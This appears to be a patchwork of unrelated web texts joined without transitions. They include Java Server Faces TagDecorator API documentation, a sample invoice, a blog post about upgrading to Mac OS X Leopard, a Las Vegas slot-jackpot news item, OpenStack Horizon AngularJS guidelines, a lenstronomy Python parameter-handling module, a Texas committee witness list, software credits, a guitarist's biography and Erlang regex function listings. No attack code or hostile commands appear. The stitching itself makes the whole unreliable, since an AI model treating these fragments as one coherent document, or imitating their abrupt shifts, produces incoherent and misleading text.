public interface TagDecorator
Provides the ability to completely
change the Tag before it's processed for compiling with the
associated TagHandler
.
The runtime must provide a default implementation of this interface that
performs the following actions in its decorate(javax.faces.view.facelets.Tag)
method.
Inspect the attributes of the tag
argument. If none
of the attributes are declared to be in the http://xmlns.jcp.org/jsf
namespace, iterate through the list of
TagDecorator
instances created from the values in the ViewHandler.FACELETS_DECORATORS_PARAM_NAME
context-param
, if any. For each entry, call its decorate(javax.faces.view.facelets.Tag)
method, passing the argument tag
. The first such
entry that returns non-null
from its decorate(javax.faces.view.facelets.Tag)
method
must cause the iteration to stop.
If one or more of the attributes of the tag
argument
are in the http://xmlns.jcp.org/jsf
namespace, obtain a
reference to decoratedTag as described in the
following steps and iterate through the list of TagDecorator
instances as described in the preceding step, but pass
decoratedTag to each call to decorate(javax.faces.view.facelets.Tag)
.
If the namespace of the tag is any namespace other than the
empty string or http://www.w3.org/1999/xhtml
, throw a FaceletException
.
Let localName be the return from Tag.getLocalName()
. Use localName to identify an
entry in a data structure based on the following table. Once an
entry has been identified, let targetTag be the
value of the "target tag" column for that entry.
| localName | selector attribute | target tag |
|---|---|---|
| a | jsf:action | h:commandLink |
| a | jsf:actionListener | h:commandLink |
| a | jsf:value | h:outputLink |
| a | jsf:outcome | h:link |
| body | h:body | |
| button | h:commandButton | |
| button | jsf:outcome | h:button |
| form | h:form | |
| head | h:head | |
| img | h:graphicImage | |
| input | type="button" | h:commandButton |
| input | type="checkbox" | h:selectBooleanCheckbox |
| input | type="color" | h:inputText |
| input | type="date" | |
| input | type="datetime" | |
| input | type="datetime-local" | |
| input | type="email" | |
| input | type="month" | |
| input | type="number" | |
| input | type="range" | |
| input | type="search" | |
| input | type="time" | |
| input | type="url" | |
| input | type="week" | |
| input | type="file" | h:inputFile |
| input | type="hidden" | h:inputHidden |
| input | type="password" | h:inputSecret |
| input | type="reset" | h:commandButton |
| input | type="submit" | h:commandButton |
| input | type="*" | h:inputText |
| label | h:outputLabel | |
| link | h:outputStylesheet | |
| script | h:outputScript | |
| select | multiple="*" | h:selectManyListbox |
| select | h:selectOneListbox | |
| textarea | h:inputTextArea |
In the case where there are multiple rows with the same
localName, find a matching entry by using the
argument tag
's attributes and the value from the "selector
attribute" column in the table in the given order. A selector
attribute value of * indicates any value. In the
table, a selector attribute name prefixed with jsf:
means the tag is treated as if it were in the http://xmlns.jcp.org/jsf
namespace. In actual Facelet pages, the
namespace is what matters, not the prefix.
If no matching entry is found, let
jsf:element
be the value of targetTag
Convert all the attributes of the argument tag
as
follows. First, create a new instance of TagAttribute
with
the following characteristics: location: from the argument tag
's location, namespace: http://xmlns.jcp.org/jsf/passthrough
, local name: value of Renderer.PASSTHROUGH_RENDERER_LOCALNAME_KEY
,
qualified name: same as local name with the "p:" prefix, value: from
the argument tag
's local name. Let this TagAttribute
be elementNameTagAttribute.
For each of argument tag
's attributes obtain a reference
to a TagAttribute
with the following characteristics. For
discussion let such an attribute be
convertedTagAttribute.
convertedTagAttribute's location: from the
argument tag
's location.
If the current attribute's namespace is http://xmlns.jcp.org/jsf
, convertedTagAttribute's
qualified name must be the current attribute's local name and
convertedTagAttribute's namespace must be the empty
string. This will have the effect of setting the current attribute
as a proper property on the UIComponent
instance represented
by this markup.
If the current attribute's
namespace is non-empty and different from the argument tag
's
namespace, let the current attribute be
convertedTagAttribute.
Otherwise, assume the current attribute's namespace is http://xmlns.jcp.org/jsf/passthrough
.
ConvertedTagAttribute's qualified name is the
current attribute's local name prefixed by "p:".
convertedTagAttribute's namespace must be http://xmlns.jcp.org/jsf/passthrough
.
Create a TagAttributes
instance containing
elementNameTagAttribute and all the
convertedTagAttributes.
Create a new Tag
instance with the following
characteristics.
location: from the argument tag
's location.
namespace: if targetTag's prefix is "h", http://xmlns.jcp.org/jsf/html
; if targetTag's
prefix is "jsf", http://xmlns.jcp.org/jsf
.
local name: the local name from the target tag column.
attributes: the TagAttributes
from the preceding step.
Let this new Tag
instance be
convertedTag.
The Tag
instance returned from this decoration process
must ultimately be passed to a FaceletHandler
instance as
described in the spec prose document section titled, "Specification
of the ViewDeclarationLanguage Implementation for Facelets for Jakarta Server Faces
2.0".
| Modifier and Type | Method and Description |
|---|---|
Tag |
decorate(Tag tag)
If handled, return a new Tag instance, otherwise return null
|


COMPANY INC
5th Nov 2013
PAIDBUSINESS LTD
1st Nov 2013
PAIDFACTORY BROS
29th Oct 2013
LATE€615500 ex. VAT
€676.50550 ex. VAT
€2276.731,851 ex. VAT
| Invoice Number | 2013-INV-0046 |
|---|---|
| Created | 03/11/2013 |
| Payment Due | 17/11/2013 |
Definitive Edge Studios Ltd.
Martin Toomey
63 Bayview
Tramore
WaterfordIreland
Tax ID: IE9000301
+353 51 381363
<EMAIL_ADDRESS>Bill To:
Brightworks
17 Corrig Road
Sandyford Industrial Estate
Dublin 18
Tax ID: IE76984621
| Description | Quantity | Unit Price | Amount |
|---|---|---|---|
| Web Development | 12hr | €40 | €480 |
| Logo Deisgn | 8hr | €45 | €360 |
| Sub | €840 | ||
| Discount | - | ||
| Tax (23%) | €193.20 | ||
| Total | €1033.20 |


A Leopard, buy its spots
I'm off to Spain in a couple of days for 6 weeks, but I broke down to take some time to put Leopard on the laptop. Actually it installed while I was off at the gym getting some climbing in - who knows when I will get to exercise next? Sleep when you're dead, etc.
Apparently I was using Apple Partitioning on the new drive and Intel Macs and Leopard require 'GUID Partition Tables' or some such non-sense. As I'd backed up in the last posting, I wasn't too worried about that, save for the time it would take.
It's not easy to find the partition options in Disk Utility either, the option is buried in menus and combo-boxes. I erased the drive a couple of times before I found the right option. Here is more information than I got during the Leopard install that may help you.
When that was done I used what is basically the Migration Assistant to move the interesting parts from the backup onto my current drive. I guess I should check whether my work related materials made it - I doubt it. Oh, I also had to update AddressBook and a few other things.
I wonder if I hadn't updated AddressBook if I would have kept the bluetooth callerId functionality? (A downgrade indeed)
My good will towards Apple is ebbing a bit - between the the Java treatment in Leopard - yes Java 5 on Leopard is not only not Java 6, but worse than Java 5 on Tiger - and the iPhone's difficulty in syncing music to more than one machine, being usable as a memory stick, the ringtone debacle, the contracts, DRM, etc... I guess it just means the honeymoon's over. It's still a better platform than Windows, but something sinister may lurk behind the curtain, and maybe that thing is success.
(Not that I don't understand why Apple would be bitter about Sun paying for Windows Java and not OSX Java - and not that I don't think that some of the Leopard features for Cocoa (on Windows?) and Objective-C aren't cool... )
About this entry
You"re currently reading "A Leopard, buy its spots," an entry on a crick in the net
- Published:
- 10.31.07 / 11pm
- Category:
- Gadget-o-rama
Oh and Cover Flow in the Finder is AWESOME.


This is module is accessible to all users. This module allows users to edit their user/personal information. This includes:
To edit your password you must fill in the 'Change your Password' form. There are three required fields: Old Password, New Password, Re-enter Password. For a successful password change the 'Old Password' must match the users current password in the database. The 'New Password' must not be over 24 characters and it must match the 'Re-enter Password' field's entry.
The rest of the info can be edited through the 'Update Personal Info' form. Simply enter the new info in the desired field and press the 'Update Personal Info' button. Any fields that are left empty will not be updated. All of your information, except the password, will be displayed at the top of the page. If there are any errors they will be printed beneath the form.


Slots player at Las Vegas airport wins more than $300K
by Tony GarciaSomeone has a little extra coin to wager on the Ohio State Buckeyes.
Ryan C. of Columbus, Ohio, won more than $300,000 on a Wheel of Fortune progressive machine Monday night at McCarran International Airport, airport spokeswoman Christine Crews said.
The winning spin hit just after 5 p.m. for $317,795.94 on a 25-cent Wheel of Fortune Triple Red Hot 7 machine, according to International Game Technology spokesperson Kelley Waynert.
It was not known whether the winner was arriving or departing, Crews said.
The win made it three big scores on a Wheel of Fortune machine this month in Southern Nevada.
The Wheel of Fortune Triple Red Hot Bells at The Mirage turned a $5 wager into $2,218,046.41 for a player on Friday.
Another winner connected on a 25-cent Wheel of Fortune Triple Double Emeralds for $257,221.73 on Nov. 5 at Terrible’s Hotel & Casino in Jean.
Around the Las Vegas Valley
At the Flamingo, Susan — in town for her daughter’s 30th birthday — won more than $180,000 on a bonus blackjack wager.

Juby from Hawaii won $7,000 with a straight flush on Let It Ride at the California Hotel.
Four Queens reported two local players hitting royal flushes on $1 video poker machines, good for $4,000.


Note
This guide is a work in progress. It has been uploaded to encourage faster reviewing and code development in Angular, and to help the community standardize on a set of guidelines. There are notes inline on sections that are likely to change soon, and the docs will be updated promptly after any changes.
The tooling for AngularJS testing and code linting relies on npm, the node package manager, and thus relies on Node.js. While it is not a prerequisite to developing with Horizon, it is advisable to install Node.js, either through downloading or via a package manager.
Once you have npm available on your system, run npm install from the horizon root directory.
We currently use the Angular Style Guide by John Papa as reference material. When reviewing AngularJS code, it is helpful to link directly to the style guide to reinforce a point, e.g. https://github.com/johnpapa/angular-styleguide#style-y024
ESLint is a tool for identifying and reporting on patterns in your JS code, and is part of the automated tests run by Jenkins. You can run ESLint from the horizon root directory with npm run lint, or alternatively on a specific directory or file with eslint file.js.
Horizon includes a .eslintrc in its root directory, that is used by the local tests. An explanation of the options, and details of others you may want to use, can be found in the ESLint user guide.
OpenStack Dashboard is an example of a Horizon-based Angular application. Other applications built on the Horizon framework can follow a similar structure. It is composed of two key Angular modules:
Horizon has three kinds of angular code:
When adding code to horizon, consider whether it is dashboard-specific or should be broken out as a reusable utility or widget.
Code that isn’t shared beyond a single dashboard is placed in openstack_dashboard/dashboards/mydashboard/static. Entire dashboards may be enabled or disabled using Horizon’s plugin mechanism. Therefore no dashboards other than mydashboard can safely use this code.
The openstack_dashboard/dashboards/static directory structure determines how the code is deployed and matches the module structure. For example:
openstack_dashboard/dashboards/identity/static/dashboard/identity/
├── identity.module.js
├── identity.module.spec.js
└── identity.scss
Because the code is in openstack_dashboard/dashboards/identity we know it is specific to just the identity dashboard and not used by any others.
Finally, components that are easily reused by any application are placed in horizon/static/framework/. These do not contain URLs or business logic that is specific to any application (even the OpenStack Dashboard application).
The modal directive horizon/static/framework/widgets/modal/ is a good example of a reusable component.
Each component should have its own folder, with the code broken up into one JS component per file. (See Single Responsibility in the style guide). Each folder may include styling (.scss), as well as templates(.html) and tests (.spec.js). You may also include examples, by appending .example.
For larger components, such as workflows with multiple steps, consider breaking the code down further. For example, the Launch Instance workflow, has one directory per step. See openstack_dashboard/dashboards/project/static/dashboard/project/workflow/launch-instance/
The top-level SCSS file in openstack_dashboard/static/app/app.scss. It includes any styling that is part of the application core and may be reused by multiple dashboards. SCSS files that are specific to a particular dashboard are linked to the application by adding them in that dashboard’s enabled file. For example, _1000_project.py is the enabled file for the Project dashboard and includes:
ADD_SCSS_FILES = [
'dashboard/project/project.scss',
]
Styling files are hierarchical, and include any direct child SCSS files. For example, project.scss includes the workflow SCSS file, which in turn includes any launch instance styling:
@import "workflow/workflow";
This allows the application to easily include all needed styling, simply by including a dashboards top-level SCSS file.
Horizon Angular modules use names that map to the source code directory structure. This provides namespace isolation for modules and services, which makes dependency injection clearer. It also reduces code conflicts where two different modules define a module, service or constant of the same name. For example:
openstack_dashboard/dashboards/identity/static/dashboard/identity/
└── identity.module.js
The preferred Angular module name in this example is horizon.dashboard.identity. The horizon part of the module name maps to the static directory and indicates this is a horizon based application. dashboard.identity maps to folders that are created within static. This allows a direct mapping between the angular module name of horizon.dashboard.identity and the source code directory of static\dashboard\identity.
Services and constants within these modules should all start with their module name to avoid dependency injection collisions. For example:
$provide.constant('horizon.dashboard.identity.basePath', path);
Directives do not require the module name but are encouraged to begin with the hz prefix. For example:
.directive('hzMagicSearchBar', hzMagicSearchBar);
Finally, each module lists its child modules as a dependency. This allows the root module to be included by an application, which will automatically define all child modules. For example:
.module('horizon.framework', [
'horizon.framework.conf',
'horizon.framework.util',
'horizon.framework.widgets'
])
horizon.framework declares a dependency on horizon.framework.widgets, which declares dependencies on each individual widget. This allows the application to access any widget, simply by depending on the top-level horizon.framework module.
The code linting job can be run with npm run lint.
For more detailed information, see JavaScript Testing.
Translations are handled in Transifex, as with Django. They are merged daily with the horizon upstream codebase. See Translations in the OpenStack wiki to learn more about this process.
To translate text in HTML files, you may use the translate directive or filter. The directive be used as an element, or an attribute:
// Translate singular, as element
<translate>Lorem ipsum</translate>
// Translate singular, as attribute

Lorem ipsum

// Translate plural (attribute only)

apple

// Filter singular
<input type="text" placeholder="{$ 'Username' | translate $}" />
// Comments for translators, to add context

File

Note
The filter does not support plural strings.
To translate text in JS files, such as Angular controllers, use either gettext (singular) or ngettext (plural):
gettext('apple');
ngettext('apple', 'apples', count);
The Translatability section contains information about the pseudo translation tool, and how to make sure your translations are working locally.
Horizon uses the angular-gettext library to provide directives and filters for extracting translatable text.
Note
This section will be extended as standard practices are adopted upstream. Currently, it may be useful to use this patch and its dependants as an example.
Note
Currently, Angular module names must still be manually declared with ADD_ANGULAR_MODULES, even when using automatic file discovery.
This section serves as a basic introduction to writing your own panel for horizon, using AngularJS. A panel may be included with the plugin system, or it may be part of the upstream horizon project.
JavaScript files can be discovered automatically, handled manually, or a mix of the two. Where possible, use the automated mechanism. To use the automatic functionality, add:
AUTO_DISCOVER_STATIC_FILES = True
to your enabled file (enabled/<plugin_name>.py). To make this possible, you need to follow some structural conventions:
- Static files should be put in a static/ folder, which should be found directly under the folder for the dashboard/panel/panel groups Python package.
- JS code that defines an Angular module should be in a file with extension of .module.js.
- JS code for testing should be named with extension of .mock.js and of .spec.js.
- Angular templates should have extension of .html.
You can read more about the functionality in the AUTO_DISCOVER_STATIC_FILES section of the settings documentation.
To manually add files, add the following arrays and file paths to the enabled file:
ADD_JS_FILES = [
...
'path-to/my-angular-code.js',
...
]
ADD_JS_SPEC_FILES = [
...
'path-to/my-angular-code.spec.js',
...
]
ADD_ANGULAR_MODULES = [
...
'angular.module',
...
]
Add a new panel/ panel group/ dashboard (See Tutorial: Building a Dashboard using Horizon). JavaScript file inclusion is the same as the Upstream process.
To include external stylesheets, you must ensure that ADD_SCSS_FILES is defined in your enabled file, and add the relevant filepath, as below:
ADD_SCSS_FILES = [
...
'path-to/my-styles.scss',
...
]
Note
We highly recommend using a single SCSS file for your plugin. SCSS supports nesting with @import, so if you have multiple files (i.e. per panel styling) it is best to import them all into one, and include that single file. You can read more in the SASS documentation.


If you are writing code for a new startup outside of work and it is truly yours, take measures to ensure you keep it.
In 2 easy steps, set up a simple tool to prove with every code commit that you developed on:


Still seriously hungry and poor
Economic growth alone is not enough to achieve key Sustainable Development Goals. It must translate into jobs for the poor and marginalised.
{% load staticfiles %}
Reach out the needy in your society within clicks. Help them have a great day by donating your kitchen leftovers, Canteen leftovers, etc so that
none of your society dwellers have to sleep with an empty stomach.
Erradicate Hunger. Spread Love.
Pragati is fast and elegant in noting your kitchen leftovers. Its easy UI/UX makes the application handling easy and intuitive. For more insights of reviews. Read our testimonials section.
Pragati has fast and low storage Integration using Firebase Realtime Database (a noSQL database) that allows faster updation of data. Firebase Authentication lessens the hassle in maintaining and storing password.
Pragati app values its donors and understands the value of internet data on mobile devices. Thus, it only uses a minimum amount of data each time a transaction is made and no data transfer otherwise. This make the donor community stronger.
Dive into the cool features of Pragati
The UI is built with intuitive designs and theme colours tested for clarity. This beats any other market competitors.
Pragati is the first application that talks for the hungry and needy poor and gains great support from the rich society without any kind of extortions.
We help develop an excellent community where we value our community feedback. We also have certificate of appreciation and social cause for our donors.
Behind the scenes - The Pragati App contributors.
Before diving deep into app, you might love to spend some time here
Yes, team Pragati understands that its users form a bigger section of poor society. Hence, this service is free and will continue to be free.
Team Pragati values service over authorisation and understands the pain in hunger. Thus, we've removed any authentication to an Aadhaar number (which everyone has) for purpose of ordering food. We feel it great to know people who are out there helping the needy. So, we are authenticationg you.
Pragati makes a great social impact by bringing closer the rich and poor sections of society closer. It enables NGO firms working to erradicate hunger, supply food to needy with a greater ease and economy. Pragati makes strong bonds of kindness with its partners and inturn receives funds for its service as donations from NGO firms, Police departments and small temples.
Pragati helps society in a big way impacting a lot of lives each day. It serves the needy, the food. It makes the donors feel proud for their noble service by providing a token of appreciation. It prevents the food from getting wasted in dustbins and drains.
Economic growth alone is not enough to achieve key Sustainable Development Goals. It must translate into jobs for the poor and marginalised.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Odit nemo eaque expedita aliquid dolorem repellat perferendis, facilis aut fugit, impedit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Odit nemo eaque expedita aliquid dolorem repellat perferendis, facilis aut fugit, impedit.


__author__ = 'dgilman'
from lenstronomy.Util.param_util import shear_cartesian2polar, shear_polar2cartesian
from lenstronomy.Util.param_util import ellipticity2phi_q
import numpy as np
# class ParamClass(object):
#
# """
# This class handles converting a dict of parameter values into an array of parameter values to
# feed to the optimizer. This class can be user specified to implement any combination of lens models with arbitrary
# constraints on their parameters. Three examples are shown below for power law like mass models.
#
# This class, if specified by user, must have the methods "kwargs_to_args" and "args_to_kwargs" (see below)
# """
# def __init__(self, kwargs_lens_init, **kwargs):
#
# """
#
# :param kwargs_lens_init: the initial kwargs_lens before optimizing
# :param args: any other args for the particular optimization routine corresponding to this class
# """
#
# to_vary_index is the number of lens models with parameters that are being optimized. For power law + shear
# it equals 2, for example. The lens models being optimized should always come first in the lens_model_list
#
# pass
#
# @property
# def to_vary_index(self):
# return integer
#
# def bounds(self, scale):
#
# pass
#
# @staticmethod
# def kwargs_to_args(kwargs):
#
# pass
#
# def args_to_kwargs(self, args):
#
# pass
[docs]class PowerLawParamManager(object):
"""
Base class for handling the translation between key word arguments and parameter arrays for
EPL mass models. This class is intended for use in modeling galaxy-scale lenses
"""
def __init__(self, kwargs_lens_init):
"""
:param kwargs_lens_init: the initial kwargs_lens before optimizing
"""
self.kwargs_lens = kwargs_lens_init
[docs] def param_chi_square_penalty(self, args):
return 0.
@property
def to_vary_index(self):
"""
The number of lens models being varied in this routine. This is set to 2 because the first three lens models
are EPL and SHEAR, and their parameters are being optimized.
The kwargs_list is split at to to_vary_index with indicies < to_vary_index accessed in this class,
and lens models with indicies > to_vary_index kept fixed.
Note that this requires a specific ordering of lens_model_list
:return:
"""
return 2
[docs] def bounds(self, re_optimize, scale=1.):
"""
Sets the low/high parameter bounds for the particle swarm optimization
NOTE: The low/high values specified here are intended for galaxy-scale lenses. If you want to use this
for a different size system you should create a new ParamClass with different settings
:param re_optimize: keep a narrow window around each parameter
:param scale: scales the size of the uncertainty window
:return:
"""
args = self.kwargs_to_args(self.kwargs_lens)
if re_optimize:
thetaE_shift = 0.005
center_shift = 0.01
e_shift = 0.05
g_shift = 0.025
else:
thetaE_shift = 0.25
center_shift = 0.2
e_shift = 0.2
g_shift = 0.05
shifts = np.array([thetaE_shift, center_shift, center_shift, e_shift, e_shift, g_shift, g_shift])
low = np.array(args) - shifts * scale
high = np.array(args) + shifts * scale
return low, high
[docs] @staticmethod
def kwargs_to_args(kwargs):
"""
:param kwargs: keyword arguments corresponding to the lens model parameters being optimized
:return: array of lens model parameters
"""
thetaE = kwargs[0]['theta_E']
center_x = kwargs[0]['center_x']
center_y = kwargs[0]['center_y']
e1 = kwargs[0]['e1']
e2 = kwargs[0]['e2']
g1 = kwargs[1]['gamma1']
g2 = kwargs[1]['gamma2']
args = (thetaE, center_x, center_y, e1, e2, g1, g2)
return args
[docs]class PowerLawFreeShear(PowerLawParamManager):
"""
This class implements a fit of EPL + external shear with every parameter except the power law slope allowed to vary
"""
[docs] def args_to_kwargs(self, args):
"""
:param args: array of lens model parameters
:return: dictionary of lens model parameters
"""
gamma = self.kwargs_lens[0]['gamma']
kwargs_epl = {'theta_E': args[0], 'center_x': args[1], 'center_y': args[2],
'e1': args[3], 'e2': args[4], 'gamma': gamma}
kwargs_shear = {'gamma1': args[5], 'gamma2': args[6]}
self.kwargs_lens[0] = kwargs_epl
self.kwargs_lens[1] = kwargs_shear
return self.kwargs_lens
[docs]class PowerLawFixedShear(PowerLawParamManager):
"""
This class implements a fit of EPL + external shear with every parameter except the power law slope AND the
shear strength allowed to vary. The user should specify shear_strengh in the args_param_class keyword when
creating the Optimizer class
"""
def __init__(self, kwargs_lens_init, shear_strength):
"""
:param kwargs_lens_init: the initial kwargs_lens before optimizing
:param shear_strength: the strenght of the external shear to be kept fixed
"""
self._shear_strength = shear_strength
super(PowerLawFixedShear, self).__init__(kwargs_lens_init)
[docs] def args_to_kwargs(self, args):
"""
:param args: array of lens model parameters
:return: dictionary of lens model parameters with fixed shear = shear_strength
"""
(thetaE, center_x, center_y, e1, e2, g1, g2) = args
gamma = self.kwargs_lens[0]['gamma']
kwargs_epl = {'theta_E': thetaE, 'center_x': center_x, 'center_y': center_y,
'e1': e1, 'e2': e2, 'gamma': gamma}
phi, _ = shear_cartesian2polar(g1, g2)
gamma1, gamma2 = shear_polar2cartesian(phi, self._shear_strength)
kwargs_shear = {'gamma1': gamma1, 'gamma2': gamma2}
self.kwargs_lens[0] = kwargs_epl
self.kwargs_lens[1] = kwargs_shear
return self.kwargs_lens
[docs]class PowerLawFreeShearMultipole(PowerLawParamManager):
"""
This class implements a fit of EPL + external shear + a multipole term with every parameter except the
power law slope and multipole moment free to vary. The mass centroid and orientation of the multipole term are
fixed to that of the EPL profile
"""
@property
def to_vary_index(self):
"""
The number of lens models being varied in this routine. This is set to 3 because the first three lens models
are EPL, SHEAR, and MULTIPOLE, and their parameters are being optimized.
The kwargs_list is split at to to_vary_index with indicies < to_vary_index accessed in this class,
and lens models with indicies > to_vary_index kept fixed.
Note that this requires a specific ordering of lens_model_list
:return:
"""
return 3
[docs] def args_to_kwargs(self, args):
(thetaE, center_x, center_y, e1, e2, g1, g2) = args
gamma = self.kwargs_lens[0]['gamma']
kwargs_epl = {'theta_E': thetaE, 'center_x': center_x, 'center_y': center_y,
'e1': e1, 'e2': e2, 'gamma': gamma}
kwargs_shear = {'gamma1': g1, 'gamma2': g2}
self.kwargs_lens[0] = kwargs_epl
self.kwargs_lens[1] = kwargs_shear
self.kwargs_lens[2]['center_x'] = center_x
self.kwargs_lens[2]['center_y'] = center_y
phi, _ = ellipticity2phi_q(e1, e2)
self.kwargs_lens[2]['phi_m'] = phi
return self.kwargs_lens
[docs]class PowerLawFixedShearMultipole(PowerLawFixedShear):
"""
This class implements a fit of EPL + external shear + a multipole term with every parameter except the
power law slope, shear strength, and multipole moment free to vary. The mass centroid and orientation of the multipole term are
fixed to that of the EPL profile
"""
@property
def to_vary_index(self):
"""
The number of lens models being varied in this routine. This is set to 3 because the first three lens models
are EPL, SHEAR, and MULTIPOLE, and their parameters are being optimized.
The kwargs_list is split at to to_vary_index with indicies < to_vary_index accessed in this class,
and lens models with indicies > to_vary_index kept fixed.
Note that this requires a specific ordering of lens_model_list
:return:
"""
return 3
[docs] def args_to_kwargs(self, args):
(thetaE, center_x, center_y, e1, e2, g1, g2) = args
gamma = self.kwargs_lens[0]['gamma']
kwargs_epl = {'theta_E': thetaE, 'center_x': center_x, 'center_y': center_y,
'e1': e1, 'e2': e2, 'gamma': gamma}
phi, _ = shear_cartesian2polar(g1, g2)
gamma1, gamma2 = shear_polar2cartesian(phi, self._shear_strength)
kwargs_shear = {'gamma1': gamma1, 'gamma2': gamma2}
self.kwargs_lens[0] = kwargs_epl
self.kwargs_lens[1] = kwargs_shear
self.kwargs_lens[2]['center_x'] = center_x
self.kwargs_lens[2]['center_y'] = center_y
phi, _ = ellipticity2phi_q(e1, e2)
self.kwargs_lens[2]['phi_m'] = phi
return self.kwargs_lens


WITNESS LIST State Affairs Committee May 11, 2001-12:00A SB 311 Committee Substitute (Wolens) For: Tilley, Danny (Texas Building and Trades Council) On: Levine, Ken (Sunset Advisory Commission) Reed, Cindy (State Auditor's Office) Registering, but not testifying: On: Dorwart, Mary Cheryl (Comptroller of Public Accounts) Kreisle, Matt (Self) McLaughlin, Laurie (Comptroller of Public Accounts) Scogin, James (Comptroller of Public Accounts) Wagner, Frank (State Auditor's Office) SB 497 Registering, but not testifying: For: Woodford, Suzy (Self and Common Cause Texas) SB 839 Registering, but not testifying: For: Schindel, Geary (Edwards Aquifer Authority and National Speleological Society) SB 1182 For: Mitchell, Kathy (Consumers Union) Registering, but not testifying: For: Whalen, Ken (Texas Daily Newspaper Association and Texas Press Association) Wilson, Roger (Texas Public Power Association and San Antonio City Public Service) Woodford, Suzy (Self and Common Cause Texas) Zion, Mark (Texas Public Power Association) On: Cary, Katherine Minter (Office of Attorney General) Iberg, Cathy (UTIMCO) SB 1458 Registering, but not testifying: For: Carter, Janis (Epic Edge, Sun Microsystems, and Ezgov) On: Ancira, Jesse (Comptroller of Public Accounts) Liebler, Andy (Comptroller of Public Accounts) Porterfield, Shannon (Comptroller of Public Accounts) Purcell, Carolyn (Department of Information Resources) Scogin, James (Comptroller of Public Accounts)


The first step students must complete when using a BIM activity is to create and register their blog or feed.
Unregistered students have not yet completed this task.
The table will show the students' username and name as it appears in Moodle. It also provides you with two actions you can perform for each student:
Usually used to send the student a private email asking them to register their blog, or explain their difficulties.
This allows you to register the student's blog for them, if they have been having difficulties. You will need to know the URL for their blog or feed before registering it.
There is also a textbox that contains all of the email addresses for the unregistered students separated by a semi-colon (;).
You can copy and paste these addresses into an email client and send the students' an email message encouraging or explaining how to register.
You may need to change the semi-colon's to commas to get them to work with your email client.


Open source (MIT License).
Noel Chou (SIL International): Programming
John Hatton (SIL International): Program Manager, UX Design, Programming
Marlon Hovland (SIL International): Documentation
Gordon Martin (SIL International): Programming
Stephen McConnel (SIL International): Programming
Andrew Polk (SIL International): Dev Lead, Programming
Colin Suggett (SIL International): Testing
John Thomson (SIL International): Programming
Past contributors: Eberhard Beilharz, Jeremy Brown, Rick Conrad, Bruce Cox, Wendy Gale, Phil Hopper, Susanna Imrie, David Moore, Sue Newland, Marvin Nichols, Dirk Sprenger, Len Wallstrom.
To our colleagues who invested time in giving feedback and encouragement before Bloom became famous :-)
Michael Cochran, Jon Coombs, David Coward, Paul Frank (SIL LEAD) Suzanne Hatton, Hannes Hirzel, Cambell Prince, Glenys Waters, Payap University Linguistics Institute (Chiang Mai, Thailand)
BrowserStack, for a free open-source subscription to their amazing multi-browser, multi-platform testing service.
Zulip, where we keep in touch all day even though we are distributed all over.
"USB" icon designed Dara Ullrich from The Noun Project
"Blind" by Bluu from the Noun Project
Earth icon designed by Francesco Paleari from The Noun Project
Network icon designed by Stephen Boak from The Noun Project
Leveled Reader template icon (Dashboard) by Chris Kerr from The Noun Project
Decodable Reader template icon (Key) by William J. Salvador from The Noun Project
Refresh icon from Material Design Icons collection


Warehouse Freightman Barder:
Hmmm... So you want to send cargo, eh? There are so many strangers in town these days! I don't remember ever being this busy! I'm just a Warehouse Freightman now, but in my day I was a mighty Warrior! Trust me, it's not worth it! I'll bet you never thought you'd hear a Dwarf say that!
Well, where do you want to send your freight?
Quest


{%extends "base.html"%} {%block content%}
it looks like the page you requested does not exist or is expired or go to our home page and find some interesting stories to read. definitely follow up on the issue
Nothing else to see here...


This is a travel guide that is designed to help people when they are thinking about traveling to another country. Here, you are able to search for a country and a city to get the weather of that specific city as well as some basic information about the country before deciding to take a trip there.
To build this site, we utilized the OpenWeather API to access the weather data for the specified city. To get the information about the country, we used the Wikipedia API and display a summarized version of the country info with a link at the bottom to direct the user to the full article on Wikipedia's webstite.


Load Existing File
Script Directory:
../scripts
File:
Save the File
Script Directory:
../scripts
File:
Path:
Time taken:
Estimated time:


Sungha Jung playing Gravity - one of his most popular original compositions. His videos are usually set in calming beautiful scenery, his music is even more so.
About Sungha
Sungha Jung is a South Korean guitar prodigy. He took interest in guitar after watching his father play guitar. His father is himself only a guitar hobbyist.
Sungha actually was already learning piano when he started playing guitar but was not as interested in piano as much as he is with guitar.
His daily routine is to practice for one hour when school is open and up to three hours when school is closed. He says that, "It usually takes me two to three days to practice and videotape a new piece but sometimes up to a week for more difficult ones."
His key influence and inspiration is Ulli Bogershausen who he has since met and been mentored by. His first three albums were recorded at Ulli's studio in Germany.
Sungha's Timeline
2005
Bought himself a $60 guitar at age 9 with his own money
2006
His father started the jwcfree youtube channel
2010
Released first album - Perfect Blue
2011
Released second album - Irony
2013
Released third album - Paint It Acoustic
2014
Released fourth album - Monologue
2015
Released fifth album - Two of Me
2016
Released sixth album - L'Atelier
“It usually takes me two to three days to practice and videotape a new piece but sometimes up to a week for more difficult ones.”
-- Sungha Jung
You can see more of Sungha Jung's music on
his youtube channel and read more about him on his
wikipedia page or
website.


Copyright © 2021 by Anatolii Kosorukov
Authors: Anatolii Kosorukov<EMAIL_ADDRESS>[web site: rustkas.github.io/].
compile_option() = unicode | anchored | caseless | dollar_endonly | dotall | extended | firstline | multiline | no_auto_capture | dupnames | ungreedy | {newline, nl_spec()} | bsr_anycrlf | bsr_unicode | no_start_optimize | ucp | never_utf
do_action() = fun((InputString::string()) -> NewString::string())
mp() = {re_pattern, term(), term(), term(), term()}
nl_spec() = cr | crlf | lf | anycrlf | any
| all_match/2 | Retrieve Part of the Matched Text. |
| avoid_characters/0 | The list of characters which raise an error if escape character is not used. |
| filter/3 | Filter Matches in Procedural Code. |
| first_match/2 | Retrieve the Matched Text. |
| first_match_info/2 | Determine the Position and Length of the Match. |
| first_part_match/2 | Retrieve Part of the Matched Text. |
| is_full_match/2 | Check whether a string fits a certain pattern in its entirety. |
| is_match/2 | Check whether a match can be found for a particular regular expression in a particular string. |
| match_chain/2 | Get the matches of one Regex within the matches of another Regex. |
| match_evaluator/3 | Replace Matches with Replacements Generated in Code. |
| mp/1 | It is reduced form of re:compile/1 function. |
| mp/2 | It is reduced form of re:compile/1 function. |
| replace/1 | Replace one of shorthand pattern from the list [\s,\w,\h,v]
in a pattern string. |
| replace/3 | Replace All Matches. |
| save_pattern/1 | Make save Regex pattern which make literal for any character. |
| subfilter/3 | Filter a match within another match. |
| submatch_evaluator/4 | Replace All Matches Within the Matches of Another Regex. |
| tune/1 | Replace Regex pattern to more siple one. |
| unicode_block/1 | The Unicode character database divides all the code points into blocks. |
